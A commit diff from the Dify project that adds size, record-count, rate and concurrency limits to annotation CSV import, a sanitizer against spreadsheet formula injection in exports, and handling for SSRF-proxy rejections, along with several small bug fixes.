mirror of https://github.com/langgenius/dify.git
Merge branch 'main' into feat/add-qdrant-to-tidb-migration
This commit is contained in:
commit
23750a35df
|
|
@ -670,3 +670,14 @@ SINGLE_CHUNK_ATTACHMENT_LIMIT=10
|
|||
ATTACHMENT_IMAGE_FILE_SIZE_LIMIT=2
|
||||
ATTACHMENT_IMAGE_DOWNLOAD_TIMEOUT=60
|
||||
IMAGE_FILE_BATCH_LIMIT=10
|
||||
|
||||
# Maximum allowed CSV file size for annotation import in megabytes
|
||||
ANNOTATION_IMPORT_FILE_SIZE_LIMIT=2
|
||||
#Maximum number of annotation records allowed in a single import
|
||||
ANNOTATION_IMPORT_MAX_RECORDS=10000
|
||||
# Minimum number of annotation records required in a single import
|
||||
ANNOTATION_IMPORT_MIN_RECORDS=1
|
||||
ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE=5
|
||||
ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR=20
|
||||
# Maximum number of concurrent annotation import tasks per tenant
|
||||
ANNOTATION_IMPORT_MAX_CONCURRENT=5
|
||||
|
|
@ -380,6 +380,37 @@ class FileUploadConfig(BaseSettings):
|
|||
default=60,
|
||||
)
|
||||
|
||||
# Annotation Import Security Configurations
|
||||
ANNOTATION_IMPORT_FILE_SIZE_LIMIT: NonNegativeInt = Field(
|
||||
description="Maximum allowed CSV file size for annotation import in megabytes",
|
||||
default=2,
|
||||
)
|
||||
|
||||
ANNOTATION_IMPORT_MAX_RECORDS: PositiveInt = Field(
|
||||
description="Maximum number of annotation records allowed in a single import",
|
||||
default=10000,
|
||||
)
|
||||
|
||||
ANNOTATION_IMPORT_MIN_RECORDS: PositiveInt = Field(
|
||||
description="Minimum number of annotation records required in a single import",
|
||||
default=1,
|
||||
)
|
||||
|
||||
ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE: PositiveInt = Field(
|
||||
description="Maximum number of annotation import requests per minute per tenant",
|
||||
default=5,
|
||||
)
|
||||
|
||||
ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR: PositiveInt = Field(
|
||||
description="Maximum number of annotation import requests per hour per tenant",
|
||||
default=20,
|
||||
)
|
||||
|
||||
ANNOTATION_IMPORT_MAX_CONCURRENT: PositiveInt = Field(
|
||||
description="Maximum number of concurrent annotation import tasks per tenant",
|
||||
default=2,
|
||||
)
|
||||
|
||||
inner_UPLOAD_FILE_EXTENSION_BLACKLIST: str = Field(
|
||||
description=(
|
||||
"Comma-separated list of file extensions that are blocked from upload. "
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
from typing import Any, Literal
|
||||
|
||||
from flask import request
|
||||
from flask import abort, make_response, request
|
||||
from flask_restx import Resource, fields, marshal, marshal_with
|
||||
from pydantic import BaseModel, Field, field_validator
|
||||
|
||||
|
|
@ -8,6 +8,8 @@ from controllers.common.errors import NoFileUploadedError, TooManyFilesError
|
|||
from controllers.console import console_ns
|
||||
from controllers.console.wraps import (
|
||||
account_initialization_required,
|
||||
annotation_import_concurrency_limit,
|
||||
annotation_import_rate_limit,
|
||||
cloud_edition_billing_resource_check,
|
||||
edit_permission_required,
|
||||
setup_required,
|
||||
|
|
@ -257,7 +259,7 @@ class AnnotationApi(Resource):
|
|||
@console_ns.route("/apps/<uuid:app_id>/annotations/export")
|
||||
class AnnotationExportApi(Resource):
|
||||
@console_ns.doc("export_annotations")
|
||||
@console_ns.doc(description="Export all annotations for an app")
|
||||
@console_ns.doc(description="Export all annotations for an app with CSV injection protection")
|
||||
@console_ns.doc(params={"app_id": "Application ID"})
|
||||
@console_ns.response(
|
||||
200,
|
||||
|
|
@ -272,8 +274,14 @@ class AnnotationExportApi(Resource):
|
|||
def get(self, app_id):
|
||||
app_id = str(app_id)
|
||||
annotation_list = AppAnnotationService.export_annotation_list_by_app_id(app_id)
|
||||
response = {"data": marshal(annotation_list, annotation_fields)}
|
||||
return response, 200
|
||||
response_data = {"data": marshal(annotation_list, annotation_fields)}
|
||||
|
||||
# Create response with secure headers for CSV export
|
||||
response = make_response(response_data, 200)
|
||||
response.headers["Content-Type"] = "application/json; charset=utf-8"
|
||||
response.headers["X-Content-Type-Options"] = "nosniff"
|
||||
|
||||
return response
|
||||
|
||||
|
||||
@console_ns.route("/apps/<uuid:app_id>/annotations/<uuid:annotation_id>")
|
||||
|
|
@ -314,18 +322,25 @@ class AnnotationUpdateDeleteApi(Resource):
|
|||
@console_ns.route("/apps/<uuid:app_id>/annotations/batch-import")
|
||||
class AnnotationBatchImportApi(Resource):
|
||||
@console_ns.doc("batch_import_annotations")
|
||||
@console_ns.doc(description="Batch import annotations from CSV file")
|
||||
@console_ns.doc(description="Batch import annotations from CSV file with rate limiting and security checks")
|
||||
@console_ns.doc(params={"app_id": "Application ID"})
|
||||
@console_ns.response(200, "Batch import started successfully")
|
||||
@console_ns.response(403, "Insufficient permissions")
|
||||
@console_ns.response(400, "No file uploaded or too many files")
|
||||
@console_ns.response(413, "File too large")
|
||||
@console_ns.response(429, "Too many requests or concurrent imports")
|
||||
@setup_required
|
||||
@login_required
|
||||
@account_initialization_required
|
||||
@cloud_edition_billing_resource_check("annotation")
|
||||
@annotation_import_rate_limit
|
||||
@annotation_import_concurrency_limit
|
||||
@edit_permission_required
|
||||
def post(self, app_id):
|
||||
from configs import dify_config
|
||||
|
||||
app_id = str(app_id)
|
||||
|
||||
# check file
|
||||
if "file" not in request.files:
|
||||
raise NoFileUploadedError()
|
||||
|
|
@ -335,9 +350,27 @@ class AnnotationBatchImportApi(Resource):
|
|||
|
||||
# get file from request
|
||||
file = request.files["file"]
|
||||
|
||||
# check file type
|
||||
if not file.filename or not file.filename.lower().endswith(".csv"):
|
||||
raise ValueError("Invalid file type. Only CSV files are allowed")
|
||||
|
||||
# Check file size before processing
|
||||
file.seek(0, 2) # Seek to end of file
|
||||
file_size = file.tell()
|
||||
file.seek(0) # Reset to beginning
|
||||
|
||||
max_size_bytes = dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT * 1024 * 1024
|
||||
if file_size > max_size_bytes:
|
||||
abort(
|
||||
413,
|
||||
f"File size exceeds maximum limit of {dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT}MB. "
|
||||
f"Please reduce the file size and try again.",
|
||||
)
|
||||
|
||||
if file_size == 0:
|
||||
raise ValueError("The uploaded file is empty")
|
||||
|
||||
return AppAnnotationService.batch_import_app_annotations(app_id, file)
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -331,3 +331,91 @@ def is_admin_or_owner_required(f: Callable[P, R]):
|
|||
return f(*args, **kwargs)
|
||||
|
||||
return decorated_function
|
||||
|
||||
|
||||
def annotation_import_rate_limit(view: Callable[P, R]):
|
||||
"""
|
||||
Rate limiting decorator for annotation import operations.
|
||||
|
||||
Implements sliding window rate limiting with two tiers:
|
||||
- Short-term: Configurable requests per minute (default: 5)
|
||||
- Long-term: Configurable requests per hour (default: 20)
|
||||
|
||||
Uses Redis ZSET for distributed rate limiting across multiple instances.
|
||||
"""
|
||||
|
||||
@wraps(view)
|
||||
def decorated(*args: P.args, **kwargs: P.kwargs):
|
||||
_, current_tenant_id = current_account_with_tenant()
|
||||
current_time = int(time.time() * 1000)
|
||||
|
||||
# Check per-minute rate limit
|
||||
minute_key = f"annotation_import_rate_limit:{current_tenant_id}:1min"
|
||||
redis_client.zadd(minute_key, {current_time: current_time})
|
||||
redis_client.zremrangebyscore(minute_key, 0, current_time - 60000)
|
||||
minute_count = redis_client.zcard(minute_key)
|
||||
redis_client.expire(minute_key, 120) # 2 minutes TTL
|
||||
|
||||
if minute_count > dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE:
|
||||
abort(
|
||||
429,
|
||||
f"Too many annotation import requests. Maximum {dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE} "
|
||||
f"requests per minute allowed. Please try again later.",
|
||||
)
|
||||
|
||||
# Check per-hour rate limit
|
||||
hour_key = f"annotation_import_rate_limit:{current_tenant_id}:1hour"
|
||||
redis_client.zadd(hour_key, {current_time: current_time})
|
||||
redis_client.zremrangebyscore(hour_key, 0, current_time - 3600000)
|
||||
hour_count = redis_client.zcard(hour_key)
|
||||
redis_client.expire(hour_key, 7200) # 2 hours TTL
|
||||
|
||||
if hour_count > dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR:
|
||||
abort(
|
||||
429,
|
||||
f"Too many annotation import requests. Maximum {dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR} "
|
||||
f"requests per hour allowed. Please try again later.",
|
||||
)
|
||||
|
||||
return view(*args, **kwargs)
|
||||
|
||||
return decorated
|
||||
|
||||
|
||||
def annotation_import_concurrency_limit(view: Callable[P, R]):
|
||||
"""
|
||||
Concurrency control decorator for annotation import operations.
|
||||
|
||||
Limits the number of concurrent import tasks per tenant to prevent
|
||||
resource exhaustion and ensure fair resource allocation.
|
||||
|
||||
Uses Redis ZSET to track active import jobs with automatic cleanup
|
||||
of stale entries (jobs older than 2 minutes).
|
||||
"""
|
||||
|
||||
@wraps(view)
|
||||
def decorated(*args: P.args, **kwargs: P.kwargs):
|
||||
_, current_tenant_id = current_account_with_tenant()
|
||||
current_time = int(time.time() * 1000)
|
||||
|
||||
active_jobs_key = f"annotation_import_active:{current_tenant_id}"
|
||||
|
||||
# Clean up stale entries (jobs that should have completed or timed out)
|
||||
stale_threshold = current_time - 120000 # 2 minutes ago
|
||||
redis_client.zremrangebyscore(active_jobs_key, 0, stale_threshold)
|
||||
|
||||
# Check current active job count
|
||||
active_count = redis_client.zcard(active_jobs_key)
|
||||
|
||||
if active_count >= dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT:
|
||||
abort(
|
||||
429,
|
||||
f"Too many concurrent import tasks. Maximum {dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT} "
|
||||
f"concurrent imports allowed per workspace. Please wait for existing imports to complete.",
|
||||
)
|
||||
|
||||
# Allow the request to proceed
|
||||
# The actual job registration will happen in the service layer
|
||||
return view(*args, **kwargs)
|
||||
|
||||
return decorated
|
||||
|
|
|
|||
|
|
@ -61,6 +61,9 @@ class ChatRequestPayload(BaseModel):
|
|||
@classmethod
|
||||
def normalize_conversation_id(cls, value: str | UUID | None) -> str | None:
|
||||
"""Allow missing or blank conversation IDs; enforce UUID format when provided."""
|
||||
if isinstance(value, str):
|
||||
value = value.strip()
|
||||
|
||||
if not value:
|
||||
return None
|
||||
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
from pydantic import BaseModel, Field
|
||||
from pydantic import BaseModel, Field, field_validator
|
||||
|
||||
|
||||
class PreviewDetail(BaseModel):
|
||||
|
|
@ -20,9 +20,17 @@ class IndexingEstimate(BaseModel):
|
|||
class PipelineDataset(BaseModel):
|
||||
id: str
|
||||
name: str
|
||||
description: str | None = Field(default="", description="knowledge dataset description")
|
||||
description: str = Field(default="", description="knowledge dataset description")
|
||||
chunk_structure: str
|
||||
|
||||
@field_validator("description", mode="before")
|
||||
@classmethod
|
||||
def normalize_description(cls, value: str | None) -> str:
|
||||
"""Coerce None to empty string so description is always a string."""
|
||||
if value is None:
|
||||
return ""
|
||||
return value
|
||||
|
||||
|
||||
class PipelineDocument(BaseModel):
|
||||
id: str
|
||||
|
|
|
|||
|
|
@ -0,0 +1,89 @@
|
|||
"""CSV sanitization utilities to prevent formula injection attacks."""
|
||||
|
||||
from typing import Any
|
||||
|
||||
|
||||
class CSVSanitizer:
|
||||
"""
|
||||
Sanitizer for CSV export to prevent formula injection attacks.
|
||||
|
||||
This class provides methods to sanitize data before CSV export by escaping
|
||||
characters that could be interpreted as formulas by spreadsheet applications
|
||||
(Excel, LibreOffice, Google Sheets).
|
||||
|
||||
Formula injection occurs when user-controlled data starting with special
|
||||
characters (=, +, -, @, tab, carriage return) is exported to CSV and opened
|
||||
in a spreadsheet application, potentially executing malicious commands.
|
||||
"""
|
||||
|
||||
# Characters that can start a formula in Excel/LibreOffice/Google Sheets
|
||||
FORMULA_CHARS = frozenset({"=", "+", "-", "@", "\t", "\r"})
|
||||
|
||||
@classmethod
|
||||
def sanitize_value(cls, value: Any) -> str:
|
||||
"""
|
||||
Sanitize a value for safe CSV export.
|
||||
|
||||
Prefixes formula-initiating characters with a single quote to prevent
|
||||
Excel/LibreOffice/Google Sheets from treating them as formulas.
|
||||
|
||||
Args:
|
||||
value: The value to sanitize (will be converted to string)
|
||||
|
||||
Returns:
|
||||
Sanitized string safe for CSV export
|
||||
|
||||
Examples:
|
||||
>>> CSVSanitizer.sanitize_value("=1+1")
|
||||
"'=1+1"
|
||||
>>> CSVSanitizer.sanitize_value("Hello World")
|
||||
"Hello World"
|
||||
>>> CSVSanitizer.sanitize_value(None)
|
||||
""
|
||||
"""
|
||||
if value is None:
|
||||
return ""
|
||||
|
||||
# Convert to string
|
||||
str_value = str(value)
|
||||
|
||||
# If empty, return as is
|
||||
if not str_value:
|
||||
return ""
|
||||
|
||||
# Check if first character is a formula initiator
|
||||
if str_value[0] in cls.FORMULA_CHARS:
|
||||
# Prefix with single quote to escape
|
||||
return f"'{str_value}"
|
||||
|
||||
return str_value
|
||||
|
||||
@classmethod
|
||||
def sanitize_dict(cls, data: dict[str, Any], fields_to_sanitize: list[str] | None = None) -> dict[str, Any]:
|
||||
"""
|
||||
Sanitize specified fields in a dictionary.
|
||||
|
||||
Args:
|
||||
data: Dictionary containing data to sanitize
|
||||
fields_to_sanitize: List of field names to sanitize.
|
||||
If None, sanitizes all string fields.
|
||||
|
||||
Returns:
|
||||
Dictionary with sanitized values (creates a shallow copy)
|
||||
|
||||
Examples:
|
||||
>>> data = {"question": "=1+1", "answer": "+calc", "id": "123"}
|
||||
>>> CSVSanitizer.sanitize_dict(data, ["question", "answer"])
|
||||
{"question": "'=1+1", "answer": "'+calc", "id": "123"}
|
||||
"""
|
||||
sanitized = data.copy()
|
||||
|
||||
if fields_to_sanitize is None:
|
||||
# Sanitize all string fields
|
||||
fields_to_sanitize = [k for k, v in data.items() if isinstance(v, str)]
|
||||
|
||||
for field in fields_to_sanitize:
|
||||
if field in sanitized:
|
||||
sanitized[field] = cls.sanitize_value(sanitized[field])
|
||||
|
||||
return sanitized
|
||||
|
|
@ -9,6 +9,7 @@ import httpx
|
|||
|
||||
from configs import dify_config
|
||||
from core.helper.http_client_pooling import get_pooled_http_client
|
||||
from core.tools.errors import ToolSSRFError
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
|
@ -93,6 +94,18 @@ def make_request(method, url, max_retries=SSRF_DEFAULT_MAX_RETRIES, **kwargs):
|
|||
while retries <= max_retries:
|
||||
try:
|
||||
response = client.request(method=method, url=url, **kwargs)
|
||||
# Check for SSRF protection by Squid proxy
|
||||
if response.status_code in (401, 403):
|
||||
# Check if this is a Squid SSRF rejection
|
||||
server_header = response.headers.get("server", "").lower()
|
||||
via_header = response.headers.get("via", "").lower()
|
||||
|
||||
# Squid typically identifies itself in Server or Via headers
|
||||
if "squid" in server_header or "squid" in via_header:
|
||||
raise ToolSSRFError(
|
||||
f"Access to '{url}' was blocked by SSRF protection. "
|
||||
f"The URL may point to a private or local network address. "
|
||||
)
|
||||
|
||||
if response.status_code not in STATUS_FORCELIST:
|
||||
return response
|
||||
|
|
|
|||
|
|
@ -15,3 +15,4 @@ class MetadataDataSource(StrEnum):
|
|||
notion_import = "notion"
|
||||
local_file = "file_upload"
|
||||
online_document = "online_document"
|
||||
online_drive = "online_drive"
|
||||
|
|
|
|||
|
|
@ -29,6 +29,10 @@ class ToolApiSchemaError(ValueError):
|
|||
pass
|
||||
|
||||
|
||||
class ToolSSRFError(ValueError):
|
||||
pass
|
||||
|
||||
|
||||
class ToolCredentialPolicyViolationError(ValueError):
|
||||
pass
|
||||
|
||||
|
|
|
|||
|
|
@ -425,7 +425,7 @@ class ApiBasedToolSchemaParser:
|
|||
except ToolApiSchemaError as e:
|
||||
openapi_error = e
|
||||
|
||||
# openai parse error, fallback to swagger
|
||||
# openapi parse error, fallback to swagger
|
||||
try:
|
||||
converted_swagger = ApiBasedToolSchemaParser.parse_swagger_to_openapi(
|
||||
loaded_content, extra_info=extra_info, warning=warning
|
||||
|
|
@ -436,7 +436,6 @@ class ApiBasedToolSchemaParser:
|
|||
), schema_type
|
||||
except ToolApiSchemaError as e:
|
||||
swagger_error = e
|
||||
|
||||
# swagger parse error, fallback to openai plugin
|
||||
try:
|
||||
openapi_plugin = ApiBasedToolSchemaParser.parse_openai_plugin_json_to_tool_bundle(
|
||||
|
|
|
|||
|
|
@ -1,14 +1,22 @@
|
|||
import logging
|
||||
from collections.abc import Mapping
|
||||
from typing import Any
|
||||
|
||||
from core.file import FileTransferMethod
|
||||
from core.variables.types import SegmentType
|
||||
from core.variables.variables import FileVariable
|
||||
from core.workflow.constants import SYSTEM_VARIABLE_NODE_ID
|
||||
from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
|
||||
from core.workflow.enums import NodeExecutionType, NodeType
|
||||
from core.workflow.node_events import NodeRunResult
|
||||
from core.workflow.nodes.base.node import Node
|
||||
from factories import file_factory
|
||||
from factories.variable_factory import build_segment_with_type
|
||||
|
||||
from .entities import ContentType, WebhookData
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class TriggerWebhookNode(Node[WebhookData]):
|
||||
node_type = NodeType.TRIGGER_WEBHOOK
|
||||
|
|
@ -60,6 +68,34 @@ class TriggerWebhookNode(Node[WebhookData]):
|
|||
outputs=outputs,
|
||||
)
|
||||
|
||||
def generate_file_var(self, param_name: str, file: dict):
|
||||
related_id = file.get("related_id")
|
||||
transfer_method_value = file.get("transfer_method")
|
||||
if transfer_method_value:
|
||||
transfer_method = FileTransferMethod.value_of(transfer_method_value)
|
||||
match transfer_method:
|
||||
case FileTransferMethod.LOCAL_FILE | FileTransferMethod.REMOTE_URL:
|
||||
file["upload_file_id"] = related_id
|
||||
case FileTransferMethod.TOOL_FILE:
|
||||
file["tool_file_id"] = related_id
|
||||
case FileTransferMethod.DATASOURCE_FILE:
|
||||
file["datasource_file_id"] = related_id
|
||||
|
||||
try:
|
||||
file_obj = file_factory.build_from_mapping(
|
||||
mapping=file,
|
||||
tenant_id=self.tenant_id,
|
||||
)
|
||||
file_segment = build_segment_with_type(SegmentType.FILE, file_obj)
|
||||
return FileVariable(name=param_name, value=file_segment.value, selector=[self.id, param_name])
|
||||
except ValueError:
|
||||
logger.error(
|
||||
"Failed to build FileVariable for webhook file parameter %s",
|
||||
param_name,
|
||||
exc_info=True,
|
||||
)
|
||||
return None
|
||||
|
||||
def _extract_configured_outputs(self, webhook_inputs: dict[str, Any]) -> dict[str, Any]:
|
||||
"""Extract outputs based on node configuration from webhook inputs."""
|
||||
outputs = {}
|
||||
|
|
@ -107,18 +143,33 @@ class TriggerWebhookNode(Node[WebhookData]):
|
|||
outputs[param_name] = str(webhook_data.get("body", {}).get("raw", ""))
|
||||
continue
|
||||
elif self.node_data.content_type == ContentType.BINARY:
|
||||
outputs[param_name] = webhook_data.get("body", {}).get("raw", b"")
|
||||
raw_data: dict = webhook_data.get("body", {}).get("raw", {})
|
||||
file_var = self.generate_file_var(param_name, raw_data)
|
||||
if file_var:
|
||||
outputs[param_name] = file_var
|
||||
else:
|
||||
outputs[param_name] = raw_data
|
||||
continue
|
||||
|
||||
if param_type == "file":
|
||||
# Get File object (already processed by webhook controller)
|
||||
file_obj = webhook_data.get("files", {}).get(param_name)
|
||||
outputs[param_name] = file_obj
|
||||
files = webhook_data.get("files", {})
|
||||
if files and isinstance(files, dict):
|
||||
file = files.get(param_name)
|
||||
if file and isinstance(file, dict):
|
||||
file_var = self.generate_file_var(param_name, file)
|
||||
if file_var:
|
||||
outputs[param_name] = file_var
|
||||
else:
|
||||
outputs[param_name] = files
|
||||
else:
|
||||
outputs[param_name] = files
|
||||
else:
|
||||
outputs[param_name] = files
|
||||
else:
|
||||
# Get regular body parameter
|
||||
outputs[param_name] = webhook_data.get("body", {}).get(param_name)
|
||||
|
||||
# Include raw webhook data for debugging/advanced use
|
||||
outputs["_webhook_raw"] = webhook_data
|
||||
|
||||
return outputs
|
||||
|
|
|
|||
|
|
@ -1,3 +1,4 @@
|
|||
import logging
|
||||
import mimetypes
|
||||
import os
|
||||
import re
|
||||
|
|
@ -17,6 +18,8 @@ from core.helper import ssrf_proxy
|
|||
from extensions.ext_database import db
|
||||
from models import MessageFile, ToolFile, UploadFile
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def build_from_message_files(
|
||||
*,
|
||||
|
|
@ -356,15 +359,20 @@ def _build_from_tool_file(
|
|||
transfer_method: FileTransferMethod,
|
||||
strict_type_validation: bool = False,
|
||||
) -> File:
|
||||
# Backward/interop compatibility: allow tool_file_id to come from related_id or URL
|
||||
tool_file_id = mapping.get("tool_file_id")
|
||||
|
||||
if not tool_file_id:
|
||||
raise ValueError(f"ToolFile {tool_file_id} not found")
|
||||
tool_file = db.session.scalar(
|
||||
select(ToolFile).where(
|
||||
ToolFile.id == mapping.get("tool_file_id"),
|
||||
ToolFile.id == tool_file_id,
|
||||
ToolFile.tenant_id == tenant_id,
|
||||
)
|
||||
)
|
||||
|
||||
if tool_file is None:
|
||||
raise ValueError(f"ToolFile {mapping.get('tool_file_id')} not found")
|
||||
raise ValueError(f"ToolFile {tool_file_id} not found")
|
||||
|
||||
extension = "." + tool_file.file_key.split(".")[-1] if "." in tool_file.file_key else ".bin"
|
||||
|
||||
|
|
@ -402,10 +410,13 @@ def _build_from_datasource_file(
|
|||
transfer_method: FileTransferMethod,
|
||||
strict_type_validation: bool = False,
|
||||
) -> File:
|
||||
datasource_file_id = mapping.get("datasource_file_id")
|
||||
if not datasource_file_id:
|
||||
raise ValueError(f"DatasourceFile {datasource_file_id} not found")
|
||||
datasource_file = (
|
||||
db.session.query(UploadFile)
|
||||
.where(
|
||||
UploadFile.id == mapping.get("datasource_file_id"),
|
||||
UploadFile.id == datasource_file_id,
|
||||
UploadFile.tenant_id == tenant_id,
|
||||
)
|
||||
.first()
|
||||
|
|
|
|||
|
|
@ -1,10 +1,14 @@
|
|||
import logging
|
||||
import uuid
|
||||
|
||||
import pandas as pd
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
from sqlalchemy import or_, select
|
||||
from werkzeug.datastructures import FileStorage
|
||||
from werkzeug.exceptions import NotFound
|
||||
|
||||
from core.helper.csv_sanitizer import CSVSanitizer
|
||||
from extensions.ext_database import db
|
||||
from extensions.ext_redis import redis_client
|
||||
from libs.datetime_utils import naive_utc_now
|
||||
|
|
@ -155,6 +159,12 @@ class AppAnnotationService:
|
|||
|
||||
@classmethod
|
||||
def export_annotation_list_by_app_id(cls, app_id: str):
|
||||
"""
|
||||
Export all annotations for an app with CSV injection protection.
|
||||
|
||||
Sanitizes question and content fields to prevent formula injection attacks
|
||||
when exported to CSV format.
|
||||
"""
|
||||
# get app info
|
||||
_, current_tenant_id = current_account_with_tenant()
|
||||
app = (
|
||||
|
|
@ -171,6 +181,16 @@ class AppAnnotationService:
|
|||
.order_by(MessageAnnotation.created_at.desc())
|
||||
.all()
|
||||
)
|
||||
|
||||
# Sanitize CSV-injectable fields to prevent formula injection
|
||||
for annotation in annotations:
|
||||
# Sanitize question field if present
|
||||
if annotation.question:
|
||||
annotation.question = CSVSanitizer.sanitize_value(annotation.question)
|
||||
# Sanitize content field (answer)
|
||||
if annotation.content:
|
||||
annotation.content = CSVSanitizer.sanitize_value(annotation.content)
|
||||
|
||||
return annotations
|
||||
|
||||
@classmethod
|
||||
|
|
@ -330,6 +350,18 @@ class AppAnnotationService:
|
|||
|
||||
@classmethod
|
||||
def batch_import_app_annotations(cls, app_id, file: FileStorage):
|
||||
"""
|
||||
Batch import annotations from CSV file with enhanced security checks.
|
||||
|
||||
Security features:
|
||||
- File size validation
|
||||
- Row count limits (min/max)
|
||||
- Memory-efficient CSV parsing
|
||||
- Subscription quota validation
|
||||
- Concurrency tracking
|
||||
"""
|
||||
from configs import dify_config
|
||||
|
||||
# get app info
|
||||
current_user, current_tenant_id = current_account_with_tenant()
|
||||
app = (
|
||||
|
|
@ -341,16 +373,80 @@ class AppAnnotationService:
|
|||
if not app:
|
||||
raise NotFound("App not found")
|
||||
|
||||
job_id: str | None = None # Initialize to avoid unbound variable error
|
||||
try:
|
||||
# Skip the first row
|
||||
df = pd.read_csv(file.stream, dtype=str)
|
||||
result = []
|
||||
for _, row in df.iterrows():
|
||||
content = {"question": row.iloc[0], "answer": row.iloc[1]}
|
||||
# Quick row count check before full parsing (memory efficient)
|
||||
# Read only first chunk to estimate row count
|
||||
file.stream.seek(0)
|
||||
first_chunk = file.stream.read(8192) # Read first 8KB
|
||||
file.stream.seek(0)
|
||||
|
||||
# Estimate row count from first chunk
|
||||
newline_count = first_chunk.count(b"\n")
|
||||
if newline_count == 0:
|
||||
raise ValueError("The CSV file appears to be empty or invalid.")
|
||||
|
||||
# Parse CSV with row limit to prevent memory exhaustion
|
||||
# Use chunksize for memory-efficient processing
|
||||
max_records = dify_config.ANNOTATION_IMPORT_MAX_RECORDS
|
||||
min_records = dify_config.ANNOTATION_IMPORT_MIN_RECORDS
|
||||
|
||||
# Read CSV in chunks to avoid loading entire file into memory
|
||||
df = pd.read_csv(
|
||||
file.stream,
|
||||
dtype=str,
|
||||
nrows=max_records + 1, # Read one extra to detect overflow
|
||||
engine="python",
|
||||
on_bad_lines="skip", # Skip malformed lines instead of crashing
|
||||
)
|
||||
|
||||
# Validate column count
|
||||
if len(df.columns) < 2:
|
||||
raise ValueError("Invalid CSV format. The file must contain at least 2 columns (question and answer).")
|
||||
|
||||
# Build result list with validation
|
||||
result: list[dict] = []
|
||||
for idx, row in df.iterrows():
|
||||
# Stop if we exceed the limit
|
||||
if len(result) >= max_records:
|
||||
raise ValueError(
|
||||
f"The CSV file contains too many records. Maximum {max_records} records allowed per import. "
|
||||
f"Please split your file into smaller batches."
|
||||
)
|
||||
|
||||
# Extract and validate question and answer
|
||||
try:
|
||||
question_raw = row.iloc[0]
|
||||
answer_raw = row.iloc[1]
|
||||
except (IndexError, KeyError):
|
||||
continue # Skip malformed rows
|
||||
|
||||
# Convert to string and strip whitespace
|
||||
question = str(question_raw).strip() if question_raw is not None else ""
|
||||
answer = str(answer_raw).strip() if answer_raw is not None else ""
|
||||
|
||||
# Skip empty entries or NaN values
|
||||
if not question or not answer or question.lower() == "nan" or answer.lower() == "nan":
|
||||
continue
|
||||
|
||||
# Validate length constraints (idx is pandas index, convert to int for display)
|
||||
row_num = int(idx) + 2 if isinstance(idx, (int, float)) else len(result) + 2
|
||||
if len(question) > 2000:
|
||||
raise ValueError(f"Question at row {row_num} is too long. Maximum 2000 characters allowed.")
|
||||
if len(answer) > 10000:
|
||||
raise ValueError(f"Answer at row {row_num} is too long. Maximum 10000 characters allowed.")
|
||||
|
||||
content = {"question": question, "answer": answer}
|
||||
result.append(content)
|
||||
if len(result) == 0:
|
||||
raise ValueError("The CSV file is empty.")
|
||||
# check annotation limit
|
||||
|
||||
# Validate minimum records
|
||||
if len(result) < min_records:
|
||||
raise ValueError(
|
||||
f"The CSV file must contain at least {min_records} valid annotation record(s). "
|
||||
f"Found {len(result)} valid record(s)."
|
||||
)
|
||||
|
||||
# Check annotation quota limit
|
||||
features = FeatureService.get_features(current_tenant_id)
|
||||
if features.billing.enabled:
|
||||
annotation_quota_limit = features.annotation_quota_limit
|
||||
|
|
@ -359,12 +455,34 @@ class AppAnnotationService:
|
|||
# async job
|
||||
job_id = str(uuid.uuid4())
|
||||
indexing_cache_key = f"app_annotation_batch_import_{str(job_id)}"
|
||||
# send batch add segments task
|
||||
|
||||
# Register job in active tasks list for concurrency tracking
|
||||
current_time = int(naive_utc_now().timestamp() * 1000)
|
||||
active_jobs_key = f"annotation_import_active:{current_tenant_id}"
|
||||
redis_client.zadd(active_jobs_key, {job_id: current_time})
|
||||
redis_client.expire(active_jobs_key, 7200) # 2 hours TTL
|
||||
|
||||
# Set job status
|
||||
redis_client.setnx(indexing_cache_key, "waiting")
|
||||
batch_import_annotations_task.delay(str(job_id), result, app_id, current_tenant_id, current_user.id)
|
||||
except Exception as e:
|
||||
|
||||
except ValueError as e:
|
||||
return {"error_msg": str(e)}
|
||||
return {"job_id": job_id, "job_status": "waiting"}
|
||||
except Exception as e:
|
||||
# Clean up active job registration on error (only if job was created)
|
||||
if job_id is not None:
|
||||
try:
|
||||
active_jobs_key = f"annotation_import_active:{current_tenant_id}"
|
||||
redis_client.zrem(active_jobs_key, job_id)
|
||||
except Exception:
|
||||
# Silently ignore cleanup errors - the job will be auto-expired
|
||||
logger.debug("Failed to clean up active job tracking during error handling")
|
||||
|
||||
# Check if it's a CSV parsing error
|
||||
error_str = str(e)
|
||||
return {"error_msg": f"An error occurred while processing the file: {error_str}"}
|
||||
|
||||
return {"job_id": job_id, "job_status": "waiting", "record_count": len(result)}
|
||||
|
||||
@classmethod
|
||||
def get_annotation_hit_histories(cls, app_id: str, annotation_id: str, page, limit):
|
||||
|
|
|
|||
|
|
@ -1419,7 +1419,7 @@ class DocumentService:
|
|||
|
||||
document.name = name
|
||||
db.session.add(document)
|
||||
if document.data_source_info_dict:
|
||||
if document.data_source_info_dict and "upload_file_id" in document.data_source_info_dict:
|
||||
db.session.query(UploadFile).where(
|
||||
UploadFile.id == document.data_source_info_dict["upload_file_id"]
|
||||
).update({UploadFile.name: name})
|
||||
|
|
|
|||
|
|
@ -30,6 +30,8 @@ def batch_import_annotations_task(job_id: str, content_list: list[dict], app_id:
|
|||
logger.info(click.style(f"Start batch import annotation: {job_id}", fg="green"))
|
||||
